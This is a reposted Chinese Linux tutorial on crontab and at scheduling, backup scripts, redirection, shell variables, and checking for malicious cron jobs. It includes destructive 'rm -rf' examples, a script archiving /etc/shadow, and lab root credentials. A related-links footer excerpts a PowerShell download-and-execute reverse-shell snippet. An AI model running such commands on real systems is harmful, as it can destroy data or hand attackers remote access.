07_Linux基础-计划任务-备份脚本-变量定义和使用

07_Linux基础-计划任务-备份脚本-变量定义和使用

一. 计划任务

主要内容:周期性的计划任务crontab
/var/spool/cron/ 统一存放计划任务的目录
/var/log/cron 日志文件
/etc/cron cron.daily/ cron.hourly/ cron.monthly/ cron.weekly/ crontab的顺风车
/etc/crontab
crontab -l
crontab -e
crontab -u cali -e
crontab -u cali -l

  ==如何知道计划任务是否执行?==

  ==用户没有登录,计划任务是否执行?答:会执行==

  ==黑客也会去利用计划任务定时执行程序,你如何去检查?==

  ==annacron 将电脑主机因为系统故障关机导致计划任务没有被执行,正常启动后,anacron会去检测没有执行的计划任何,重新执行一次==

at 一次性的计划任务
at 11:45
at -l

cron

计划任务
1.什么是计划任务? (闹钟)

  计划什么时候去做什么事情

一次性的计划任务
at
周期性的计划任务
crontab

linux系统里的执行计划任务的进程–》crond
crond会每分钟去检查下所有用户的计划任务
ps aux|grep crond
root 887 0.0 0.1 36300 3508 ? Ss 9月24 0:00 /usr/sbin/crond -n
root 16948 0.0 0.0 12320 984 pts/0 S+ 10:05 0:00 grep –color=auto crond
cd /var/spool/cron/ (注:统一存放计划任务的目录)
ls

计划任务 原理

07_Linux基础-计划任务-备份脚本-变量定义和使用

原理 时间的格式和语法(笔试)

07_Linux基础-计划任务-备份脚本-变量定义和使用
(注:每个用户都可以用的命令)
crontab -l (注:查看当前用户的计划任务)(每个用户只能看自己的,root用户能看所有的)
no crontab for root

crontab -e (注:创建计划任务)
…… (注:vim编辑器 本质上是文本文件)
crontab -l
30 4 * * bash /lianxi/9_25/backup_log.sh
/5 * * bash /lianxi/9_25/backup_log.sh
50 3 6-9 10 * bash /lianxi/9_25/backup_log.sh

07_Linux基础-计划任务-备份脚本-变量定义和使用
* 该范围内的任意时间
, 间隔的多个不连续时间点
– 一个连续的时间范围
/n 指定间隔的时间频率
(注:crond进程 最低的时间间隔是1分钟)
(注:时间不能冲突 日期和星期不能冲突)

cd /var/spool/cron/ (注:统一存放计划任务的目录,一个用户对应一个文件名)
ls
cali liangluyao root
cat root (注:文件里面 就是cronta -e编辑的)
30 4 * * bash /lianxi/9_25/backup_log.sh
/5 * * bash /lianxi/9_25/backup_log.sh
50 3 6-9 10 * bash /lianxi/9_25/backup_log.sh

ll (注:每一个用户的计划任务都会放在/var/spool/cron/目录下)
总用量 12
-rw——-. 1 cali cali 31 9月 25 10:27 cali
-rw——-. 1 liangluyao liangluyao 31 9月 25 10:28 liangluyao
-rw——-. 1 root root 139 9月 25 10:25 root

问:如何知道计划任务是否执行?
答:看日志文件,/var/log/cron。

  ==或者直接去看效果。==

======================
日志文件(注:记录crond执行的计划任务,存放在/var/log/cron,用来排错。)
tail -f /var/log/cron (注:tail -f 盯着文件末尾看)
Sep 25 10:30:01 sanchuang-linux CROND[17143]: (root) CMD (bash /lianxi/9_25/backup_log.sh)
Sep 25 10:30:01 sanchuang-linux CROND[17147]: (liangluyao) CMD (date >>~/liang.txt)
Sep 25 10:30:02 sanchuang-linux CROND[17119]: (root) CMDOUT (tar: 从成员名中删除开头的”/”)
Sep 25 10:30:02 sanchuang-linux CROND[17119]: (root) CMDOUT (tar: /var/log/audit/audit.log: 在我们读入文件时文件发生了变化)
Sep 25 10:30:02 sanchuang-linux CROND[17155]: (cali) CMD (date >>~/cali.txt)

示例1(root用户):
每天早上7:50自动开启sshd服务,22点50时关闭
service sshd start (注:开启sshd服务)
service sshd stop (注:关闭sshd服务)
50 7 * * service sshd start
50 22 *
* service sshd stop
每隔5天的12点整清空一次FTP服务器公共目录/var/ftp/pub
0 12 _/5 * rm -rf /var/ftp/pub==/_ (注:清空:删除里面所有东西)==
每周六的7:30时,重新启动httpd服务
service httpd restart (注:重启httpd服务)
30 7 *
6 service httpd restart
每周一、三、五的17:30时,打包备份/etc/httpd目录
30 17 * 1,3,5 tar czf /backup/httpd.tar.gz /etc/httpd (注:/backup/是备份目录)
示例2(jerry用户): (注:宿主目录:~/)
每周日晚上23:55时将”/etc/passwd”文件的内容复制到宿主目录中,保存为pwd.txt文件
55 23 *
0 /usr/bin/cp /etc/passwd ~/pwd.txt (注:命令的绝对路径)

/etc/crontab 是cron的一个配置文件
vim /etc/crontab
SHELL=/bin/bash (注:计划任务执行命令时用/bin/bash执行)
PATH=/sbin:/bin:/usr/sbin:/usr/bin (注:它有自己的PATH变量,和shell的PATH变量不同)
MAILTO=root (注:所有 计划任务里的命令,建议使用命令的绝对路径,因为PATH变量的问题)

  ==(注↑:默认情况,计划任务出了问题,crontab会给root发邮件)==

For details see man 4 crontabs
Example of job definition: (注:对命令的解释)
.—————- minute (0 – 59)
| .————- hour (0 – 23)
| | .———- day of month (1 – 31)
| | | .——- month (1 – 12) OR jan,feb,mar,apr …

| | | | .—- day of week (0 – 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
| | | | |
* * * user-name command to be executed

crontab -u cali -e (注:用root用户为cali创建计划任务)

crontab -u cali -l (注:查看)

1.电脑关机了计划任务是否执行?答:不执行
2.用户没有登录,计划任务是否执行?答:会执行

w (注:查看哪个用户从哪里登录)

07_Linux基础-计划任务-备份脚本-变量定义和使用
tail -f /var/log/cron (注:日志文件)

3.黑客也会去利用计划任务定时执行程序,你如何去检查?

    去==/var/spool/cron==目录下查看每一个计划任务文件

    看日志 ==/var/log/cron==

    crontd的顺风车目录  (如下)

cd /etc/cron*
cron.d/ cron.daily/ cron.deny cron.hourly/ cron.monthly/ crontab cron.weekly/
cd /etc/cron
(注:crontab的顺风车)
黑客也可以把需要执行的程序放到这些文件夹里
cron.daily –》Linux系统里要求crond每天去执行的事情
cron.hourly –》Linux系统里要求crond每小时去执行的事情
cron.monthly –》Linux系统里要求crond每月去执行的事情
cron.weekly –》Linux系统里要求crond每周去执行的事情
(注:# ls cron.daily

     logrotate  (每天都会执行,crond每天运行一次(脚本,用sh执行))

    \# ls  cron.hourly

    0==anacron  (annacron 将电脑主机因为系统故障关机导致计划任务没有被执行,正常启动后,anacron会去检测没有执行的计划任何,重新执行一次)==

at

at 命令 一次性的计划任务
yum install at -y
at 11:45
warning: commands will be executed using /bin/sh
at> touch $(date +%F).txt
at> (注:退出 Ctrl+D)
job 1 at Fri Sep 25 11:45:00 2020
Can’t open /var/run/atd.pid to signal atd. No atd running?

at -l (注:查看)
1 Fri Sep 25 11:45:00 2020 a root

二. 计划任务练习-备份脚本

主要内容:chmod 777 /opt/fnum.txt (注:设置任何用户都可以对文件/opt/fnum.txt读写执行)
2>/dev/null
/dev/null 特殊的文件,相当于黑洞文件,任何的内容重定向到这个文件都会消失,不保存
正确的输出重定向

错误的输出重定向
2>
2>> 追加
不管正确的还是错误的都往一个文件里重定向
&>
&>> 追加
1.txt 清空1.txt文件里的内容
删除xull这个用户所有的计划任务 rm -rf /var/spool/cron/xull

                                                    ==\# crontab  -u xull -r (注 *)==

取消计划任务

脚本+计划任务=自动化
先编写脚本,再创建计划任务

计划任务实验

计划任务实验:
1.为root用户编写计划任务:每周2、4、6的10点到17点的每隔5分钟自动将/etc/passwd、/etc/shadow这2个重要系统文件到user.备份的日期和时间.tar.gz这种名称的文件里(例如:user.201202011615.tar.gz)备份文件放到/opt/目录下面。
backup_shadow_pwd.sh
cat backup_shadow_pwd.sh

!/bin/bash

mkdir -p /opt #注:date +%Y%m%d%H%M%S , date后面有空格
tar czf /opt/user.$(date +%Y%m%d%H%M%S).tar.gz /etc/passwd /etc/shadow
$(date +%Y-%m-%d-%H) 注意空格 上面的
crontab -e
/5 10-17 * 2,4,6 bash /lianxi/9_25/backup_shadow_pwd.sh #(注:路径要接对,绝对路径)

2.root用户在/opt新建了一个文件fnum.txt专门用来统计普通用户的文件个数。请为普通用户hello编写计划任务:要求每5分钟,将系统中属于hello用户的文件的个数自动保存到/opt/fnum.txt文件中。内容格式为:”日期时间 姓名 拥有的文件个数是:数目”。每行中间用”***“隔开
file_num.sh
touch /opt/fnum.txt (注:新建空文件,普通用户建不了,root用户去建)
chmod 777 /opt/fnum.txt (注:设置任何用户都可以对文件/opt/fnum.txt读写执行)
[cali@sanchuang-linux ~]$ crontab -l
/5 *
*
date >>~/cali.txt
5 12-18 *
* date >>~/cali.txt
/1 * * * bash /home/cali/file_num.sh
[cali@sanchuang-linux ~]$ pwd
/home/cali
$ cat file_num.sh (注:脚本放在普通用户家目录里)

!/bin/bash

fnum=$(find / -user cali -type f 2>/dev/null |wc -l) (注:普通用户 文件权限不够 是出错的)
(注↑:错误重对象)
ctime=$(date +%F_%H%M%S)
echo “${ctime} cali the number of files : $fnum” >>/opt/fnum.txt (注:追加重定向 写到文件里去)
echo “****” >>/opt/fnum.txt (注:追加重定向 写到文件里去)
$
$ crontab -e (注:是哪个用户就哪个用户创建计划任务,cali创建)
/1 *
* * bash /home/cali/file_num.sh
$ pwd
/home/cali (注:脚本的路径)

每行中间用”****”隔开 解决方法
cat a.sh
echo “helllo”
echo “
***
echo “cali”
echo “
****”

num=$(find / -user liangluyao |wc -l)

$ find / -user cali -type f 2>/dev/null|wc -l
/dev/null 特殊的文件,相当于黑洞文件,任何的内容重定向到这个文件都会消失,不保存
null 零,空,无效的

重定向

正确的输出重定向

>

错误的输出重定向
2>
2>> 追加
======
不管正确的还是错误的都往一个文件里重定向
&>
&>> 追加

07_Linux基础-计划任务-备份脚本-变量定义和使用
ls 命令执行成功重定向到1.txt 执行失败重定向到2.txt
$ ls >1.txt 2>2.txt
$ >1.txt 清空1.txt文件里的内容
$ cat 1.txt
$
$ ls &>1.txt 不管正确的还是错误的都往一个文件里重定向

练习总结

练习总结:
问题:

  1. 2>/dev/null
  2. 如何查看效果

cat fnum.txt
tail -f /var/log/cron (日志文件)

  1. 取消计划任务

删除xull这个用户所有的计划任务 rm -rf /var/spool/cron/xull

                                                    ==\# crontab  -u xull -r (注 *)==

将文件里的计划任务注释或者删除 #/1 * * * bash /home/xull/file_num.sh
cd /var/spool/cron/ ——》# rm -rf xull # crontab -u xull -r
cd /var/spool/cron/ ——》# vim xull ——》 加 # 注释掉

  1. 某个用户的计划任务如何创建
  2. 文件的路径问题和权限问题(root可以访问任务地方的文件,但是普通不行,只能访问有限的路径)

将root用户的所有计划任务追加到xull用户的计划任务里
cd /var/spool/cron
cat root >>xull (注:注意权限问题,能否访问)
每一个用户的计划任务都存放在一个文件里 /var/spool/cron/

2.root用户在/opt2新建了一个文件fnum.txt专门用来统计普通用户的文件个数。请为普通用户xull编写计划任务:要求每5分钟,将系统中属于xull用户的文件的个数自动保存到/opt2/fnum.txt文件中。内容格式为:”日期时间 姓名 拥有的文件个数是:数目”。每行中间用”*******”隔开
使用root用户新建/opt2目录
mkdir /opt2
cd /opt2/
touch /opt2/fnum.txt 文件
chmod 777 /opt2/fnum.txt 授权
xull用户需要去编写脚本,创建计划任务(普通用户)
脚本:建议放在用户的家目录下
su – xull
上一次登录:五 9月 25 15:53:35 CST 2020pts/1 上
$ pwd
/home/xull
$ ls
$ vim file_num.sh (注:脚本放到自己的家目录下,用户xull去创建)
$ cat file_num.sh

!/bin/bash

num=$(find / -user xull -type f 2>/dev/null |wc -l)

current time (注:当前的时间)

ctime=$(date +%F%H%M%S)
echo “${ctime} xull 文件数量是$num” >>/opt2/fnum.txt (注:>>追加)
echo “****” >>/opt2/fnum.txt (注:一行隔开)
$
(注:vim交互式的。脚本是背后执行的,用echo)
$ crontab -e
/1 * * * bash /home/xull/file_num.sh
$
切换到root用户
$ exit
cd /var/spool/cron/ (注:该目录下文件存放计划任务)
ls
cali liangluyao root xull

cat xull (注:文件存放计划任务)

/1 * * * bash /home/xull/file_num.sh

三. 黑客-计划任务

主要内容:假如你是黑客,想在别人的机器上,每10分钟让它的服务器重启一次或者每天重启一次
关机命令:init 6

            reboot

1.停止crond服务
service crond stop
2.查找可能存放计划任务的目录
/var/spool/cron (注:先挪走)
/etc/cron.d (注:与cron.hourly 有关)
/etc/cron.weekly
/etc/cron.daily
/etc/cron.monthly
3.检查发现没有问题了,再重新启动crond服务
service crond start
Redirecting to /bin/systemctl start crond.service
ps aux|grep crond
实在有的话
tail -f /var/log/cron (日志文件)
开机启动流程
cd /root (注:root用户家目录下)
ls -a (注:隐藏文件)
vim .bashrc
vim .bash_profile
vim /etc/profile (注:可以快捷筛选查找 /reboot /init)
vim /etc/bashrc (注:可以快捷筛选查找 /reboot /init)
cat /etc/rc.local

> 假如你是黑客,想在别人的机器上,每10分钟让它的服务器重启一次或者每天重启一次

192.168.0.45 root 123456
关机命令:init 6

            reboot

============================
在各个路径下看 有没有可疑的 init6 和 reboot
1.停止crond服务
service crond stop
2.查找可能存放计划任务的目录
/var/spool/cron (注:先挪走)
/etc/cron.d (注:与cron.hourly 有关)
/etc/cron.weekly
/etc/cron.daily
/etc/cron.monthly
3.检查发现没有问题了,再重新启动crond服务
service crond start
Redirecting to /bin/systemctl start crond.service
ps aux|grep crond
root 1506 3.6 0.1 36304 3656 ? Ss 16:54 0:00 /usr/sbin/crond -n
root 1511 0.0 0.0 12320 1052 pts/0 S+ 16:54 0:00 grep –color=auto crond

实在有的话
tail -f /var/log/cron (日志文件)
(注:通过日志去排查)
=============================
集中放计划任务的地方 /var/spool/cron/
cd /var/spool/cron/
ls
cali liangluyao root xull
cat cali
……(查看有没有可疑的,vim全部注释掉)
或者把所有文件全部挪走,如下操作
ls
cali liangluyao root xull
mkdir /backup (注:根下面建一个/backup 目录)/backup 备份目录
mv * /backup/ (把文件cali liangluyao root xull 挪到 /backup 目录下)
计划任务停了,crond不会执行
cd /backup/
ls
cali liangluyao root xull
cat cali (注:把计划任务文件挪走后,再再/backup目录下 一个个排查)
……

cat liangluyao
……

w (注:查看哪些用户登录)

顺风车
cd /etc/cron.daily

  \# ls

  \# vim …

cd /etc/cron.hourly/
cd /etc/cron.monthly
cd /etc/cron.weekly
cd /etc/cron.d (注:每小时执行是每小时的第一分钟执行)

07_Linux基础-计划任务-备份脚本-变量定义和使用
(注:run-parts 是一个命令,运行这个文件夹里的所有文件)
=======================================================
开机启动流程
cd /root (注:root用户家目录下)
ls -a (注:隐藏文件)
vim .bashrc
vim .bash_profile
vim /etc/profile (注:可以快捷筛选查找 /reboot /init)
vim /etc/bashrc (注:可以快捷筛选查找 /reboot /init)
cat /etc/rc.local
===============================================================================

四. 变量定义和使用

主要内容:

  变量的命名:1.下划线命名法 (shell里建议)2.驼峰命名法3.匈牙利命名法

  变量命名的注意事项

  shell里如果变量没有定义,输出的是空值

  ==env==  查看shell里的==环境变量==

  ==set==  查看当前shell里==所有的变量==

  ==export 输出变量为全局变量==

  \# ==echo $$  (注:显示当前bash的进程号)(注:$$代表当前bash的进程号)==

  \# ==bash     (注:起一个子进程,子bash)==

  \# ==echo "$mv  $sg hello"    (注:输出一串内容的时候,用双引号引起来)==

  \# ==echo '$mv  $sg hello'        (注:单引号:所见即所得  $接变量名不会引用变量的值)==
shell编程
1.变量的定义
variable  变量的

sg=tanglf

变量的命名:
1.下划线命名法 (shell里建议)
    sc_sg=tanglf
2.驼峰命名法
    ScSg=wangtc
    小驼峰
        scSg=wangtc
    大驼峰
        ScSg=wangtc
3.匈牙利命名法
变量命名的注意事项:
    1.不是以数字开头
    2.不要全部是数字
    3.&#x4E0D;&#x8981;&#x5305;&#x542B;&#x7279;&#x6B8A;&#x7B26;&#x53F7; #!@^$<>&#x7B49;
    4.=&#x5DE6;&#x53F3;&#x4E0D;&#x80FD;&#x6709;&#x7A7A;&#x683C;

linux系统里的环境变量都是大写的
自定义变量尽量使用小写
变量尽量要先定义后使用
shell里如果变量没有定义,输出的是空值
sc_sg=zhangxueyou
echo $sg_sg

                                ==&#xFF08;&#x2190;&#x6CE8;&#xFF1A;&#x53D8;&#x91CF;sg_sg&#x6CA1;&#x6709;&#x5B9A;&#x4E49;&#xFF0C;&#x8F93;&#x51FA;&#x7684;&#x662F;&#x7A7A;&#x503C;&#xFF09;==

echo $sc_sg
zhangxueyou
echo $sgsg/$mvmv
/ (←注:变量{sgsg} {mvmv}没有定义,输出的是”/”根)

rm -rf $sgsg/$mvmv
rm: 在’/’ 进行递归操作十分危险
rm: 使用 –no-preserve-root 选项跳过安全模式

env 查看shell里的环境变量
set 查看当前shell里所有的变量
变量是有作用域
全局变量
局部变量
export 输出变量为全局变量

  ==&#x7528;&#x6CD5;&#xFF1A;&#x5148;&#x5B9A;&#x4E49;&#x518D;&#x8F93;&#x51FA;==

ssh访问22号端口,sshd监听22号端口
web服务是80端口

echo $$ (注:显示当前bash的进程号)(注:$$代表当前bash的进程号)

1425

export sg (注:输出sg这个变量为全局变量)

echo $$

1425
mv=xull
bash (注:起一个子进程,子bash)
echo $mv

            ==&#xFF08;&#x6CE8;&#xFF1A;&#x8F93;&#x51FA;&#x4E3A;&#x7A7A;&#xFF0C;&#x53D8;&#x91CF;&#x4E0D;&#x7EE7;&#x627F;&#xFF09;==

echo $$
1598

mv=xull

export mv (注:输出变量为全局变量)(注:export 输出)
bash (注:起一个子进程,子bash)
echo $mv
Xull (注:子进程继承了变量)

vim /root/.bash_profile

07_Linux基础-计划任务-备份脚本-变量定义和使用

输出一串内容的时候,用双引号引起来
单引号:所见即所得 $接变量名不会引用变量的值
echo “$mv $sg hello” (注:输出一串内容的时候,用双引号引起来)
xull wangtc hello
echo ‘$mv $sg hello’ (注:单引号:所见即所得 $接变量名不会引用变量的值)
$mv $sg hello

Original: https://www.cnblogs.com/mycpen/p/16650904.html
Author: mycpen
Title: 07_Linux基础-计划任务-备份脚本-变量定义和使用

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578020/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 搭建NFS文件共享系统

    1、概述: NFS(Network File System)意为网络文件系统,它最大的功能就是可以通过网络,让不同的机器不同的操作系统可以共享彼此的文件。简单的讲就是可以挂载远程主…

    Linux 2023年6月7日
    091
  • 一篇文章带你全面读懂Android Backup

    前言 手机等智能设备是现代生活中的重要角色,我们会在这些智能设备上做登录账户,设置偏好,拍摄照片,保存联系人等日常操作。这些数据耗费了我们很多时间和精力,对我们而言极为重要。 如果…

    Linux 2023年6月13日
    0133
  • Get shell By Powershell

    Invoke-PowerShellTcp.ps1 监听主机:nc -nv -l -p 9999 powershell -nop -exec bypass -c "IEX …

    Linux 2023年5月28日
    088
  • Map&Promise

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> &lt…

    Linux 2023年6月13日
    0103
  • Spring cloud gateway 如何在路由时进行负载均衡

    本文为博主原创,转载请注明出处: 1.spring cloud gateway 配置路由 在网关模块的配置文件中配置路由: 其中lb表示采用了负载均衡,user-server表示服…

    Linux 2023年6月14日
    086
  • go语言接口

    接口在底层的实现有两个部分:type 和 data。 在源码中,显式地将 nil 赋值给接口时,接口的 type 和 data 都将为 nil。此时,接口与 nil 值判断是相等的…

    Linux 2023年6月13日
    064
  • Redis的slot迁移

    1) 在目标节点B 上执行,从节点A 导入slot 到节点B : CLUSTER SETSLOT8 IMPORTING src– A-node-id 对于迁移的slot…

    Linux 2023年5月28日
    069
  • 吴军《浪潮之巅》阅读随笔(二)信息产业的规律性

    在这本书上册的最后一章《信息产业的规律性》中,有几个问题让我很感兴趣。 在信息科技某个领域发展成熟之后,一般在全球容不下三个以上的主要竞争者,这个行业一定有一个老大、是这个行业的主…

    Linux 2023年6月14日
    0125
  • ajax跨域问题

    public class CrosFilter implements Filter { @Override public void destroy() { // TODO Auto…

    Linux 2023年6月7日
    096
  • linux定时删除N天前的旧文件

    语句写法: find 对应目录 -mtime +天数 -name “文件名” -exec rm -rf {} \; 例1:find /usr/local/b…

    Linux 2023年6月13日
    098
  • 数据库性能优化八大方案,你知道几个

    前言 毫不夸张的说咱们后端工程师,无论在哪家公司,呆在哪个团队,做哪个系统,遇到的第一个让人头疼的问题绝对是数据库性能问题。 如果我们有一套成熟的方法论,能让大家快速、准确的去选择…

    Linux 2023年6月13日
    069
  • 分布式数据库

    目录: 1.分布式数据库的核心功能 2.分布式数据库的优点 3.分布式数据库的缺点 4.市面上分布式数据库的产品分类 5.分布式数据库的搭建 随着互联网的发展,人类社会的数据量迅速…

    Linux 2023年6月6日
    062
  • Linux 服务器安全(基本)

    Original: https://www.cnblogs.com/libin-linux/p/16656644.htmlAuthor: LB_运维技术Title: Linux 服…

    Linux 2023年6月13日
    092
  • redis的间隔性速度慢的问题

    php操作redis,偶尔间歇性很慢.查看redis日志发现:Asynchronous AOF fsync is taking too long (disk is busy?). …

    Linux 2023年5月28日
    081
  • Linux基础入门笔记

    Linux内核最初只是由芬兰人林纳斯·托瓦兹(Linus Torvalds)在赫尔辛基大学上学时出于个人爱好而编写的。 Linux是一套免费使用和自由传播的类Unix操作系统,是一…

    Linux 2023年6月14日
    064
  • 编写一个简单的linux kernel rootkit

    一、前言 linux kernel rootkit跟普通的应用层rootkit个人感觉不大,个人感觉区别在于一个运行在用户空间中,一个运行在内核空间中;另一个则是编写时调用的API…

    Linux 2023年6月8日
    0106
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球